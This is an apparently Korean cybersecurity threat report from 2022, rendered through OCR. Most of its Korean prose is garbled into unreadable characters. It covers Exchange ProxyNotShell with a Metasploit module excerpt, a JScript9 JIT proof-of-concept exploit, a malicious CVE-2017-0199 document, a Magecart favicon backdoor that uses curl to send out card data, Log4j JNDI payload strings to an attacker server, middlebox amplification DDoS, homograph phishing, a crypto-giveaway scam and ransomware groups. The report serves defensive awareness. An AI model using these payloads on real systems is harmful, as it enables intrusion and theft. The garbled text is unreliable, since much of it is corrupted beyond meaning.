Atg3te SROIMOF 1 ForHo| RESH MR ixEHcr Ol%f3 B2 QalE AmEY0iS0| RAHKOl
Florde UESHL QOPME AL B0l nfat 2HIS0| LAEX 21 s B9t Lt nfatd, o
L2 MI T2 42 QI MV} ofd XIAEQ! BAS S Y2 DU A HXIS S5
OFHNZ SRS sl 20| LR
OIREINIZE
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o FQFCHA S B 7SS 2184 Microsoft Exchange Server 2013, 2016 %! 20190j|A] #1224 FE AlGHO|
TtsE

« LS MIZ=AHMicrosoft)2| EOtHH|0|E XIS &Z5IH |4 HHOo=Z HH|0|E Mg
(3% On—premise Bt AIEXIQ| AL ZX|7t L35HH, Microsoft Exchange Online AFXH= HE ZX|7}

ré ol'XI Lol:l)

|'0II
moll ﬂ.||0

« AbZ A|LFR|Q: BZXHE CVE-2022-410402| SSRF F|oF&MS ol=sf &
Exchange Server0f| CHt QIEE SZXI7t CVE-2022-41082 FA&S EEI71
41082 F|FHS ZZAXI7| Microsoft Exchange ServerOll A RIZAEAM0| 715
B Q| Aatis St A 2 A olo]g Q] /R=0| 7tsE

2021, Microsoft@| Exchage MHE 0|83 MZH|0] S20| ZAAUACE. FAl 3201 0I2HE FAFE= CVE-

O M-

2021-26855(SSRF), CVE—2021—27065(Arbitrary File Write)2 2ZIXH= CVE—2021-26855 FUFE 0]2sH

LS M HEE 255 &, 255 FEE 0|8 CVE-2021-27065 FUHZ 0|8, SATE=E Server Side
A0{(aspx)E MERQZM, 01F HZASH URLE Tol 224 HE H0| 7FsiCk

CVE-2021-26858 D
exploit (post-auth g v e ES Rl e e s
file write) — :
‘Write a malicious Drop web shells I

file to any path

© 0 @ @

Send malicious CVE-2021-26855 Authenticate as CVE-2021-27065

Post- i
HTTP request exploit (SSRF) Exchange server exploit (post-auth h::‘;nsﬂr;tmse
on port 443 file write) keyboard activity
|
= |
> E (&) m===-==
N
CVE-2021-26857 Escalate privilege Run arbitrary
exploit (UM {as SYSTEM on commands
deserialization) Exchange Server)

CVE-2021-268552+ CVE—2021—-27065% 0|28t Zero—day 32 )
X MS 221

i)l
e

Zero—day 340 ==& X| 10| X|LIX| 242 X|F MS2| Exchange AfH = CIA| S FAReH 2[=dofl == SHCH.
118 82, MSE= Microsoft Exchange Server 2013, Exchange Server 2016 2! Exchange Server 201901 &gk
0|Xl= 2702] MZH[0] FFHof CHet HHI0|ES LHIMH, 0] & i M=H|0| FHAUFE2 CVE-2022-41040,
CVE—2022—-410822, ProxyNotShell0|2t1 S2ICt CVE-2022-41040= SSRF F[2fR0|H, CVE-2022—
410822 3ZXt7t PowerShellol| A &, HATEAMMRCE)O| 7t53t== SIESIC.
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)'® SSRF(Server Side Request Forgery)2t?

Me| S0llM IZE HTTP QS WMA7] ZIFAQI HIZ0| MFHE My LHE X2ol| HZsh f=2

= O HEH QIRE HTTP Q&(Request Forgery)=

0|25t 2740|7| {20 CSRF(Cross Site Request Forgery)2t SAISICIT 2 4 QloLt Zzixte| 2Z{0|

SrSizl= X|1Z0| M Z(Server Side)2lX| 2210|ME Z(Client Side)RIX|Q| o0 M2t 224 HEH}
TEECE

HOE 82 U 2EXI2 QU= 2oz ZZAHEY

CVE-2022-41040& ¢ %E.J SAX7E CVE-2022-4108258 HAC=Z EZ|H 5t=& & 4 UCt azut
ForS MBHOR o185ta{R FBt Exchange Serverdl T3t QISE ANATL BRI, FHOHHL

Moz AKRSt 4 Q)

—®

Active directory
recon

®—-0 -0 -0 -0 -5 1@

Lateral
movement

— @

CVE-2022-41040 and CVE—2022-410825 0|2%t Zero—day 32 )
FHx MSEZD

Send malicious CVE-2022-41040 CVE-2022-41082 Drop web shells Run arbitrary Post-compromise
HTTP request exploit (SSRF) exploit (remote commands hands-on-
on port 443 code execution) keyboard activity

= f
(== E
09| Exchange ZIOMHS MAOIS Bimsts Z7ixte] S20| MO0 Of2{5t Fok
f

AARIO0| SZXI0fA Rofot=s =2 et dMaZ 216l FAret SZ0i| ZetE 7Fs-dol ATk

H#it

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#H#

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking




2022 5idt7| AlO|H 2 SaF

prepend Msf::Exploit::Remote: :AutoCheck

include Msf::Exploit::CmdStager

include Msf::Exploit::Remote: :HTTP::Exchange

include Msf::Exploit::Remote: :HTTP::Exchange: :ProxyMaybeShell
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(

info,

'Name' => 'Microsoft Exchange ProxyNotShell RCE',

'Description’ => %q{
This module chains two vulnerabilities on Microsoft Exchange Server
that, when combined, allow an authenticated attacker to interact with
the Exchange Powershell backend (CVE-2022-41040), where a
deserialization flaw can be leveraged to obtain code execution
(CVE-2022-41082). This exploit only support Exchange Server 2019.

These vulnerabilities were patched in November 2022.
1
'Author' => [
'Orange Tsai', # Discovery of ProxyShell SSRF
'Spencer McIntyre', # Metasploit module
'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q", # Vulnerability analysis
'Piotr Bazydto', # Vulnerability analysis
'Rich Warren', # EEMS bypass via ProxyNotRelay
'Soroush Dalili' # EEMS bypass
L
'References' => [
[ 'CVE', '2022-41040' ], # ssrf
[ 'CVE', '2022-41082' ], # rce

end

(M Microsoft Exchange ProxyNotShell 22 A58 F= )
ZIR: https: //packetstormsecurity.com/fles/ 170066/ Microsoft-Exchange—ProxyNotShell-Remote—Code—Execution.himl
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(& 2-7]0M 2= 240t 20| MS Exchange Server®| FoFH 274 =7t ZIHE0] Q= B2, HOH0|EE IHXE
H25HLE URL RewriteXFSAA HHH(EOMTV2) 2t Remote Powershell AR5 S E5) QS 2Aste 4

ALY

2t5} dhH { — URL RewriteAFSAIA HHH

Automation script 2 0|23A FUXS 25t A2 4= 2, 0] AFEEE IS URL RewriteS AFS2 2 ANHA
CVE—2022-41040(Microsoft Exchange Server Elevation of Privilege Vulnerability—H8tAS F|QkA)0f| of| St}

AFRIE CHREE URL : https://microsoft.github.io/CSS—Exchange/Security/EOMTv2/

® PowerShell 3 EE= 11 0|Z9] H{T

® PowerShell scnpt = H“:)\I Administrator J@% '@Elmok &t

E Administrator: Windows PowerShell

serInterface

® IS7.5 k= 10|22 HH

o AJZEE AEE 4 Q= Exchangell 2
+ Exchange 2013 Client Access Server role
« Exchange 2016 Mailbox role
+ Exchange 2019 Mailbox role

"= server Role ZHO] BHH
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® Windows OS H™
« Server 2008 R2
« Server 2012
» Server 2012 R2
« Server 2016
« Server 2019
o Do TIZHA} Exchange 7t AX|=! Window OS HZ0| Windows Server 2016 &L OLD
st 42, IS Rewrite Module2.1 0| SEGI=S ot7| 2{aH KB2999226 7t Rt
(0l £, Windows Server 2012 R2,Windows Server 2012 5)
o [SM] AFZES}IS URL rewrite 2ES HHI0IE 17| S5t 2/ QELI HZ 2o

Exchange On—premises Mitigation Tool v2 £ AIZ5}7| $I5t M3 @A )

[y

215} HitH 2 — Remote Powershell AF2H|SH Bt

[ =]

Remote Powershell & Non—admin $-0i| CH3HA], Disable St 20, EFE[E H™ES S5 Remote Powershell
£ 55t MH M0 Z5I=E 5t W, &, Exchange Z2|AF A0l CHSHAZH RemotePowershellEnabledS
True 2 &4& Ch32| [B 2-9]9| HHUE F=sto] MHE 4 QlCh.

Non—admin AFX}L| M5 HEHO

=>$Set-User "Non-admin AF2X} HHH" -RemotePowerShellEnabled $false

DE ASAI| 247 Powershell WA Ml Eolg 4 9l o

=T M

e

=>$Get-User -ResultSize unlimited | Format-Table Name,DisplayName,RemotePowerShe
11Enabled -AutoSize

2474 PowerShell 312 7121 AISA} %S 21018 4 Q1= BEof

== T M

=>$Get-User -ResultSize unlimited -Filter 'RemotePowerShellEnabled -eq $true’

PowerShell AR A} 713 HIZHSH 2 ME] 01 B30 )

=L- OO
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@ 35 security vendors and 1 sandbox flagged this file as malicious O x

af5fh99d3ff18bcb25Me3792ed7 cd955171ab509c2fBeTcTeedd515e09c

106.63 KB 2022-12-18 06:03:18 UTC IE
et Size 4 days ago DOCX
! 21031 kA4S B4t DI RALT LA EZ(184M).docx
docx  calls-wmi  exploit  cve-2017-0199
*  Community Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY &
Security Vendors' Analysis
Ad-Awara @ Trojan.GenerickD 63304756 AhnLab-V3 @ Downloader/XML Exernal
Alibaba @ Exploit:Script/BubblyPicket d10cad978 AlYac @ Trojan Downloader DOC.Gen
Antiy-AVL @ Trojan/MSOffice Embed tempurl Arcabit @ Trojan Generic D3C5F434
Avast (D) OLE:RemoteTemplatelnj [Tr]] AVG (D OLERemoteTemplatelnj [Tr]
Avira (no cloud) @ EXPfTemplnj.T BitDefender @ Trojan.GenericKD.63304756
Cynet @ Malicious (score: 99) Cyren @ URL/CVE170199.GY.gen!Eldorado
Emsisoft @ Trojan.GenericKD.63304756 (B) eScan @ Trojan.GenericKD.63304756
ESET-NOD32 @ VBA/Subdoc. B Fortinet ® MSOffice/Agent BT 81ltr.didr
GData ® Macro.Trojan.Agent. GD7TFCR Google @ Detected
Kaspersky @ HEUR: Trojan-Downloader. MSOffice. Age. .. Lionic @ Trojan.MSWord Agent.dlc
MAX @ Malware (ai Score=100) McAfee-GW-Edition @ WSTM/Downloader.dvx
Microsoft (D) Exploit Script/BubblyPicket Aldha NANO-Antivirus () Exploit Xml CVE-2017-0199 equmby
QuickHeal @ Trojan. DDE.Downloadr 47318 Sophos @ Tro/DocDI-AGTB
Symantec ® WS7M. Downloader TACHYON @ Suspicious/MOX Downloader Gen
Tencent ® Trojan.Win32.Office_DI. 11025202 Trellix (FireEye) @ Trojan GenericKD 63304756
TrendMicro @ TROJ_FRS.ONA104KA22 TrendMicro-HouseCall ® TROJ_FRS ONA104KA22
VIPRE @ Trojan.GenericKD 63304756 ViRobot @ DOC.S.Downloader 109188
Zoner @ Probably Heur W970leLink Acronis (Static ML) @ Undetected
M2 84t Olef2l 412K(18A]).docx” mpelo] ZAt Znt )

2 O2E(TH)slH @ UBE MHEEH Rich Text TIA(RTF: A4l U= HIAE T)9|

HEIS OR2E Hon, 0% @ 34X MHoM E4 HTML S F7t= 7HM2C0t 0lui, @ HTML mHU2)

Al RHIASZE ATI0| MEETHM © olo| I=EE Hlish 4 QU= FFHo| AEELt, 00|224A2E

QEIA(MS—Oﬁice)E QIELl AUAZRE AR50 HTML 2HIZE dHEsty| I 2|A EME 0[S3H

AAER9IZ HiEsk= ARG CVE-2017-0199)7t 0| EXHCE O|EH 34 A% B AAZZHE
(= EEP—.—HE ALESIX| G0t= S20| 7ks3HA| L.

0] FoFH2 QB AASZ2{0| RHIAIZE AITIQ scriptd dI'0fl A LS U7 | thZol SZHXI7H Mofsh=
U AOIEES HCiZY uf Yoo FETt MA|=E AFE 4 QT 0fH FFH CVE-2022-411282 2021H
SIWE CVE-2021-344801t = D12 FAlSHH 20224 1123 80i| THX|7+ SIHSACE,




0 PROTECTED VIEW Be careful—files from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View. | Enable Editing

HIAE mjel)
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]

2 rich text TFU(RTF: MAI = 2l HZ Aol AT HAIX| )

GEEEX =

s TIUS P 0 23 RIF YER0) TR0 WRHRl NS uolakat sl 2E 4
o X =

%Ef: A0 HAXIE =F7| =t ¥4 RTF 2E3I2 ME6HH, ¥ MHe &2 HTML 2HIX7t @A
o CrAl M EIE SEo| 1fst 7|1 H¥sl=, XHﬂMi IE= AAZZOIZ Al&st7| Holl F7|7+
AP 2Rlot AAZ 2Ol Mol Mt AAZZO MT = MH0| SEHE BHCE AHIES2 XAER|
HZY S CIfsot AMSHRIE 2ol 22|t HetE TRE ol HYS AT}, A=RUM HEske 22t 7152l
MEXF AN HEZ(User Account Control)2 3|8tz #5t0| Q= m2a#o)| Masy Alsie 4 ot
AEXtE M2 FIEEE SQI5tLE A3 RE 2QIg £ glenz ZAZ QIX|sH| HELCh SAX=
SATCEE Sl /2t AT 7|22 XIZBe2M S22 S8 glofj £ oA ot
7D Z{orEo] 0183 2 Fi2t
1. 10| K8 Q2E 018310 MthH ¢i7| I MI|(R/W)E 5185t= HHE ZiX|Q] Z0|E FoMn

jscript9.dll LHOIIA viable ZOIEIS &6t

2. Dataview 7HH|2| HIH7F Y2l HE2|E 7I2]7|=F of7| 2ol Al A7|S ALESIH HIE JHHMIE
F712 EEAZICE 0142 Y2l R/WZt 7kS3HA Bftt.
3. YU2I9| R/WE AKE510] 7t viableZ 7t EXIE THHIE HFSICE

A 7Ks5HA

ra
n

4, 710t 22X viable 242 E8l| VirtualProtectE: S&510 €lFE0| H|22|2

<script>
function boom(m) {
var q = d;
var 1 = q[0@];
for (var 0 = 0; 0 < 1; o++) {
if (m) {
for (var n = 0; n < 1; nt+) {

q=28;

a[-1] = 1;

if (m) {
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q[e] = Ox42424242; // write 0x42424242 at <where>

new ArrayBuffer(16);
new Int32Array(g);
Object({

var g

var d

var e

d: (0x414141 - 1) / 2, // <where> for 64-bit jscript9.dll
e: (0x414141 - 1) / 2, // <where> for 32-bit jscript9.dll

1

for (var h = 0; h < 100000; h++) {
boom(false);

}

boom(true);
</script>

(o & 2-10 702 Z8(Proof—of—concept) ZE )

H 2-109 7HE 3Y FoojM T2OME AN HEistks AN 7|1A0Z HYsks Ao 71l JIT
A (just-in—time compllatlon)— boom &2| SF0|N H ofl CHSH R BAE SEiS F=E MMSITt
JT Zodei= Haol RF0| ol LIHX| 220IM HEEX| 22 Zol2tn &R 7Fgstict. o] 7FE2 g7t

d(int32Array)0ll A e(’“xil)i HAZ 0 7HEICE o[0] = 0x424242425 et uff Zmbed
Int32Array2 X2|5t QUCHD MZISHD 6T QEAIS AIRSICH 32H|E Z2MAQ|
20], 64H|E Z2M|AQ| AL edZt 712|7l= ROl X2 ZHE AHA| =Lt
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GlobOpt: :OptArraySrc(...)
{
if (...
I ...
|| GlobOpt: :ShouldExpectConventionalArrayIndexValue(...)
+ || wil::details::FeatureImpl<_ WilFeatureTraits_Feature Servicing_
MSRC75609_42033599>:: private IsEnabled(...) // Returns true if “feature” is
enabled
)
{
// Always executed after patch
}
}

GlobOpt: :OptArraySrc| Ijx| I= )

IiX| ZEO| [EH FFE2 £|XsE HA & otLF2l GlobOpt: :OptArraySrc2| gt ZAL] Ut
GlobOpt: :OptArraySrc= ShouldExpectConventionalArrayindexValueS S&ast et Zfof| et U8 I=E
A

4 =], THX = ShouldExpectConventionalArrayindexValue@| et Zfofl 2710] 0|0l A4 ZE ofzi2
A3 A2E ZA| HEsit,
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s
02 Yoz HiFAA LEsl=E Aot =2

nfsh= W 3 2 Ao|c. g
(1°]
£, M2 "ot xtEo= F|tfe| LGHE Usl= AO| HIZ BiAt BF ZZ2| slial0|Ct XIZ7HK| DNS B HiAb L
ZZ2 of 544, NTP(Network time protocol) BZ T2 o} 5508}, X2 017|7t X2 AIS0{ZE! Memcached= g
51,0002 £=0| 7}S3HLE. ofX|2H 0|2 UDP 320[2t= 3&F0| RUCt §
O3 O TCPRH= 27} CI2LF &1H, UDP= connectionless protocolO|2tT siiAl TCPOl Q= 3 way %;
handshake, &, ‘AHOf L} 20| 1 WS FH|ZA0? S BRI} ZH|ZA0, OF, I& O|x| HZESIXF 2 ]
1PH0| 210] 8 2¥5FO| shoutingO| 7Hs3H7 | 20i| UDP 2Z40| ASHHCt TCP= 0] ZFY0IIAM SiLfztz IS0 [Hglll
Qt=|H SEE oiX| o HZAS 9X| &7 WEo ARt f% At M JHEE ottt otet: SES o
7|tH3E7| 024 FARLCE A SESE DNS, NTP, Memcached BiAI S2 20| 25 UDP 22401 Zi2 HiZ2 ok
O|H 0|} W=20|x, w2tA O TCPE &8st Ut 32 342 IT EoF eA2] 2 5Z0(2t & &~ UCh T3, ;—oj
TCP three way handshakeS {@7| ZZXIS0| Lfs Z 4= UASII? o
E
722 Hi2 Middiebox0ll ALt 047|A2] middiebox= &Ml @8st= AMH & Ho| HOtg SiEsh= MH 2l
HiSHHOl 4 QI IDSLE IPS & 4= QUL O§7|A IDS(Intrusion detection system)2} IPS(Intrusion preventing

system)= €A HESH Middie boxZ2 Z7IHAM 25t HE AAHY = 1, 7|K0AM 2H5k= packet
AE system = QUCE

st=29o| AL, warning.orkrit Z2 S8 E= =7 AO|EE 8t= A|ARIO| HIE middleboxO[Ct. 0|2{st

middlebox2| EAI2 TCP standard &, E&2 [2X]| 2t= 20| ZCh= A0|H, & three way handshake 810]=

CHA MO XS ELHH 7|20 0|0] three way handshakes UL ot SEHS F= ZAO|CH HIZ

olmf SEH2 HZE AT FAZ & A0|1, ST MOIEUS FHASH= HIO|XIE MSHH £E RS ack
M|

N

— [=I

request=Ct &M 2 AO|EE M6 S2 20tE E= Z0|Ct

Weaponizing middleboxes

Attacker Vietim

(D Middleboxes expect to miss some packets

@ Middleboxes inject traffic to block connections

(=) a8l 2-11 Weaponizing middleboxes )

E=X&: htips: //geneva.cs.umd.edu/posts/usenix? 1-weaponizing—censors/
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24X 224 At warning.orkre CHA B|AEE O|2| &E5t0, 22| warning.or krf0t OfL|2} Great
China wall2t 22l= £=29| HE A|AHIY| 25 Y= AO|EX FH|E 512, 0|2 middleboxE 0| &= 6HH

SEEAE X2 byteo| RHOR T 4 HIOl SHS WKl AHo) BE 47t 9l o[t 1 Pxs

M= A

looping=2 HHEAH| E7}?

Victim-sustained amplification can be effectively infinite

Attacks the victim’s downlink and uplink

R=EPEPN Mega—amplifiers: victim sustained loops )

=X https://geneva.cs.umd.edu/posts/usenix2 1 —weaponizing—censors/

X}, HackerZt X[ X 2FS otal, middiebox?t LISHAIGHE| 212 HO|XIS EHCE 28 mlsiAk= 02 312
HO|X|7t & XS ofl&fskx] X, =2ie] SX| AO|Eo| SES S| =t oluf middlebox7t FECIA| QIS
% Tt =0 LOjLHA| El= Aolct,

&

5t A1 pageE ELY

Mega-amplifiers: routing loops

Finite routing loops = Greater amplification with higher TTL

Infinite routing loops = Infinite amplification

EE=ERERN Mega—amplifiers:routing loops

=X https://geneva.cs.umd.edu/posts/usenix? 1 —weaponizing—censors/




HE7t 28

I C}E 7HEsE2 routing loopO|Ct. 2128 Q| 20| 2#REHU 222 ZX| A0IE 2| 2t2EolM HF T2
UPEHZ 2FS EU Al X AVIEZ 20| 711, & HE3HA middieboxs XILA| E22M TfsHAR=

oYl Z1 AIEE | =l= Zolct.

02 middieboxS2 M0{&= QIE{SUEfoll 102t 7§ Ol Zi0|2k 21 UM, Ol= M =8t DNS, NTP,
Memcached=2Ct ESet 5 20| 7ksg X0t AX| Aol &fQlE S22 11Gbps oF 1502 219 =8
packet & ZHAIZCE. L2 Thet A0|=9] A2 OILICLL, 0|2 7IS3UE S4S Al E&sk= dlol=
0xF 2N afoll 22X 2 H, Eot 7|YSN TEA SiAHS 22| HAIZE AS0] 2

FH&l= YEoIch

Armada |

Collective | ( Mage cart |

2017 2022

Lapsus$
Conti
Gwisin

{(Lizard Squad )

C}2F5t Hacking group )

0|F= 22| Citst s 21EES 03Tt DDABC(DDOS for BitCoin)7t Z|Z2| 7HAEHH Ransomwares
DDoSZ 7|5k=H|, Sdli= Conti, Lapsus$, Gwisin & HX|& O|fLt SXAQI 0|1f S22 1 Ilshe Al
DIZISICE AMM O] SHAIEES ME 20S0| QUL Magecarts ARXIQ| JHOIHEL} FIEHEE MEMo=
Lol O5C=2 Hel2X 9| tap Al Faviconoll PHP 7|8t ¥l €12 sHE H|0|X|2Q] html codeE HZoH=
7|%H0| |2 7|Ztof| &olz|7|= gict 2o YHo|X|Q| £ZA &0l0| BtEA| RS}t

i

Korea Internet & Security Agency

0= 2o &

T

>

\




o

ie= =15 HHIOY @

YA

82

Magecart Hackers Now hide PHP-Based Backdoor In Website Favicons

4 May 14,2021 & Ravie Lakshmanan
sent = @ (*https://celolun. con/MEGALODON/ inde: = wrap @
Yemneocec <html lang="en">

cc_p
$cnt = ($ent); 3 <head>
. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

s -stop shop for Powerful and Smart Hagento® Extensions, Themes</title>
N i G content QD 1+ i i e best magent soliELhns for

if (($ent != '1') & (

@exec('curl —in . 'http: T SO RISl | "ceento extensions and magento themes.” />
cc_pay_encoded 7| <meta name="keywords" content="Extensions for Magento, themes for magento, modules for magento,
i~ mega menu, onstep check out, magento templates, magento themes free” />

obots” content="INDEX,FOLLOW" />
cogle-site-verification

VL13SXeV1urtkHINm): nch{

lolungyandex.ru', 'bb_' . $_SERVER['HTTP_HOST'l, $cc_pay);

m gesc X [ v vmages: X = 4
( . 1); &« C @ view-sourcehttps:// (D media/favicon/default/Magento_3.png
et_url = " c. 0N/ index. php?v.
$get_ ol sk i ine wrap @
ain']) & ‘login'] ['usernane'])) & B~ 89 50 4€ 47 @D oA 1A 04
25 “ 7 iz T;ﬂ){ L”gm D& ($.POSTI " Login'] ['username‘1)) & { (R | 10, Name, Ensil, Group, Telephone, ZIP, Country, State/Province, "Customer Since™
SSWOC 3| ===>HORD<:
sataken = ($_POSTI'Login'1['username'] . ;" . $_POST['login'] [' [N a—
$atoken, () + 36000, 5 | . r g
8|Sl = _FILE_ |Wet (
7| if (fiTe_ exizts(8f1))
s @unlink($f1);
$AJegUupT=" P TKVGbiF: Tdxmc1N: w]VGEIBngAwZNSZB 92cmBi )] i
C TmlnC GlemmlﬁelQstlmZm\)prQ\
QITPI1XUSURNVIQPROIbIVRWIVRTIF IgeDInFGbmRiC Tg icn;TKeF GZKACTACIGACTK(
ARG JgACTgACTgA ClsHTpQX KRS ToALZpBCTgAL CoGDSBCTghL CIOHTGACTGACT §0Q07KCdhRG 0Bl RHISACERRG
£2YVNNZFRXZNBSPg TgACTGACTGACTgAICNSHI, ZGKgYMiagACTRACTg/
TgAICHSTKOF! TgACTEACTKOWOpumc 1RC ACTEACIBAC

html code HZE ARl )

eSOl 7|7hof ERlEl H JIX| SHHS 2| £ 2 Homograph 2Z30|Lt Steganography 222 £ 4= QUCh

S =
24 Homograph 242 AIEA o|0|2& Greek 02 Homo, ZCh= S£1f graph, ML} = 29| SHM0|2 £240|
MX2t CHE 52 XS LIEHHD} S21k= ChEA| EPEKH J2|A0, Cyrilic = SSE &t 1 E8
Unicode Hexz 0| SIX[2H AlHS| =02= 2712 & 27t 810 Z=MQ! MAHE o ZEC=2 st HO|XIE
£Z0| PHECHH, J2(10 HEEC R 2CIH ARZAI: 22| sHZIE0 HAU™EL FIEFEE oA 2

Aol AL,

Fake “apple.com” Real “apple.com”

Glyph Unicode Name Unicode Hex Glyph Unicode Name Unicode Hex
Cyrillic small letter A U+0430 a Latin small letter A U+0061
p Cyrillic small letter Er U+0440 p Latin small letter P U+0070
| Cyrillic small letter Palochka U+04CF | Latin small letter L U+006C
e Cyrillic small letter le U+0435 e Latin small letter E U+0065

Table 1: We used Segoe Ul, Microsoft's system-wide typeface, here.

Fake "apple.com" Real "apple.com”

Glyph Unicode Name Unicode Hex Glyph Unicode Name Unicode Hex
a Cyrillic small letter A U+0430 a Latin small letter A U+0061
p Cyrillic small letter Er U+0440 p Latin small letter P U+0070
1 Cyrillic small letter Palochka U+04CF | Latin small letter L U+006C
e Cyrillic small letter le U+0435 e Latin small letter E U+0065

Table 2: We used San Francisco, Apple’s system-wide typeface, here. It's worth noting that OSX distinguishes
the Cyrillic small letter Palochka from the Latin small letter L; however, it cannot show the difference between

the Latin small letter L with the Latin capital letter |, as per the text “Cyrillic small letter le”.
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PaypalSecurity[.]com
Paypal[ . ]Payment[. ]net

Apple[.]com — www.xn--80ak6aa92e[ . ]com
Twitter[.]com — www.xn--titter-345b[.]com

CS2 Steganography 32Z{0|Ct. G| S5t ZHHSA HAXIE B 1 AIBFE SHo= J4olut
O|OIX| ¢tofl HAIXIE &7|= FENCE Thee HAIXIO|H Afo|H BHCE = &+ gL, Ad Jts
JavaScriptg 20| AIRXPZF £27| E/H HI0|HE si7{150| |lste Xo=2 Hijs BHAIo|Ct 0]O|X|9] AR
HEIRXoIA HCZ & mf SOI(Start of Image)2t EOIEnd of Image) /2] HE2 ZA|Z|7| R0l Al =02
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Corl 215 Ul # 24A0F XIXAHO! S SRHE| ATE MESI0! 32 b Sofe! 2000k el X2
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failure
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FEHE oY
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@l SYSTEM
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Contivh LISROR Ml £ A A 222 HOIME, DB, AATES, AF, AASN, Y5, ASHE,
FMAIRIZ SS0I0 012 EHZ517| 9lsh 2 0SS 5toi AHMS EolBict ofzfat YIBA TR0l S X ol
HOITIO A BE M B 7|BS Zero Trust 7|dh Al] SIS MOINZOD], STt 11 B OFH0li= Open
source®| Z{oFd 3 0f2f IT SIAIST &5 TS o SRS RO 17 52

o A [}
| 0| HE20|Ct 0] 222 ZA segmenting aff ZX{st 2t2|

=
=
| Kpig 2REoE Rt 4

=2 L= 11—
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e
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A
i
RETAEADT N Pt

EEEEEN logdi 32k - A2l B2 A=)

A Logdie Y 2 2 7IACh 22| 2R S UFHE LogdiE SHCIEH CHAF s2H2 At
g 4 oot 128 oY, thEOIA S7H=(7| 12 HQI 1128 242UEE Embargo MEHOIA EX| siZ2 {Ist
D, S 2Rl 8ULRE o] JHZXME Fof AMHE 37| ISt AZHO| AIZSHCE 0%
A=t IHEH jEe= Yojstzi= 2io| @1 7+ 71 Ziat Wujol MZ0| AIREIC

=ZAIQ] HistoryE EH 1 X|Z&H0| LiAZICE UINDIQ| Q! lookupdt nestingS E&%H @3S0t Bfod= &,
0| S FEXIEE Ues MER 232 CIE0 HAIZt 7S 7te] Fe HAEQI 2H4o| atoai= Xt

WFSHH HHIE EoF= siFHE2 MS0IRAC

o ot Mo
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1) &X: https://www.whitehouse.gov/omb/briefing—room/2022/01/26/office—of-management—and—budget-releases—federal—
strategy—to—move—the—u—s—government—towards—a—zero—trust—architecture/ )

2) &X{: https://www.whitehouse.gov/briefing—room/statements—releases/2022/01/13/readout—of—white—house—meeting—on—
software—security/ )
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${indi:ldap://malicious_server_address/}
9
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
9
S{indirmiz//
-
${indi:dns://
9
${${lower:indi:
9
${${upper;jindi:
-
${${lower:ind}i:
9
${${x:indi:
-
${${-)ndi:
9
${${:zzz-indi:
A ZR0| FOFH2 of2f 7IPS0| 2 BRE So TS HSS 517U 0IR2IRUCH BI5 HHoRIo|A FIsst
Open Source F|E & 3[oP7t 1 718tels UsHELE A Logdi= Apache FoundationOilA MiEsk=
patchPt H|0|EstH ELt= SXIRAXITE 2| 7|FS0| AHIS| RS Zotthi= WS HLiztstA|

HOE ARt g 4 ATk

0|Z% DDoSEH0| Business ContinuityS $&lol= A2 OtLICt DDoS= HA| XA 34X %%’—IOHA‘I =7
CIAZ 2 4 UA2H, 1 0|F o™ 2Ao|X0l HRAZ o0 ot WHEE 2= OlsishoF Sich &

JE 1 7|82 7R Z(Ciste] =S, AEX= ARSKIHE Z[0fete| =S sHof 217 Qitietn HEst
Al XIS ofF 2|2t 4Zistct,

3) EXf: https://www.whitehouse.gov/briefing—room/statements—releases/2022/01/13/readout—of—white—house—meeting—on—
software—security/ )
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« 1% 21, 2-3, 2—4, 2-5, 2-6, 2—7
https : //www.akamai.com/resources/research—paper/akamai—web—application—and—api—threat—report
L7l 22
https : //www.akamai.com/site/en/documents/state—of—the—internet/akamai—state—of—the—internet—gaming—
in—a—pandemic.pdf
- J22-8
https : //www.akamai.com/blog/news/dogged—persistence—the—name—of—the—game—for—one—ddos—attacker
« 12 29 2-14
Akamai
« I8 2-15
https: //thehackernews.com/2021/05/magecart—hackers—now—hide—php—based.html
« J% 2-16
https: //n.news.naver.com/
+ https: //blog.malwarebytes.com/101/2017/10/out—of—character—homograph—attacks—explained/
https://n.news.naver.com/
« J8 2-17
https: //votiro.com/blog/image—steganography—example—how—i—created—an—attack/
« 12l 2-18, 2-20
https: //www.akamai.com/site/en/documents/report/2022/akamai—ransomware—threat—report—h1—22.paf
« I8 2-19
https : //www.cert.govt.nz/it—specialists/guides/how—ransomware—happens—and—how—to—stop—it/
- 33 2-21
https : //www.akamai.com/blog/security/threat—inteligence—on—log4j—cve—key—findings—and-their—implications
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will be sent back doubled! If you
send $1,000, | will send back

$2,000. Only doing this for 30
minutes.

Enjoy!

| am giving back to my community
due to Covid-19!

All Bitcoin sent to my address below
will be sent back doubled. If you
send $1,000, | will send back

$2,000!

Only doing this for the next 30
minutes! Enjoy.
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TIE(0f 1, BRIE Y MFEAQ! A2 ChZnt 2t

T - T2

T2 EE
Saint idellolel =0 XKL Z0{ 2H2IXt
Kilanas (coder0) WindowsZ CHAIC 28t Yanluowang 2HA120] 7HEkx}
Stealer (coder1) Nix / Win322 CHAIC 23t Yanluowang 2HA12)101 JHEEX}
Guki MZ st it (FE =2H4)
Gykko ojs 71 2% = Yzt
Matanbuchus Yanluowang loader EHO{X}

IMEYS  VYanluowang Z= 481 )

gHAdelio] JHet
Yanluowang 212 EHHQl|0] ZHL} 2EHGHA CHE MR Z2IS AHF5H7|= A =2 L HEXE= Hello
Kmy Paradise, Cont % | M| AATES ZNSH 402 HO|H, Anti—virus 23|15 ISt QISA= CF Y
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ol

=7|

o

HE e m=EA 0%8 L_LI3H 7189 =7| HFE floh o=@ W ZHS ZE3JUCE Yanluowang?| EA

Saint= 2{A[0} 7|Eto] 20| o1|)\1 TRl VPN £{FA (CVE—2021-20028)2] SIAZ =0l 1ofist ZEto|
sfolghrt 0] /0= Exploitin ZHO0A RCEQF HHE MZH|0| £l FO SJAle}, FI|HMOZ 72HEt IABSE
= AANEE gREs = §ﬂEr.

>i

AE 0159 210 T e XIMIS| HBEIX| LUK|TE Cobalt Strike 4.5 HES AFRSICH= Zi0t HIZ EIXIE
§IEI6P7I 2ol Artifact Kitg AFZSIChH= LEEO0| HZSHCE

Premium
AVATAR
yanluowang

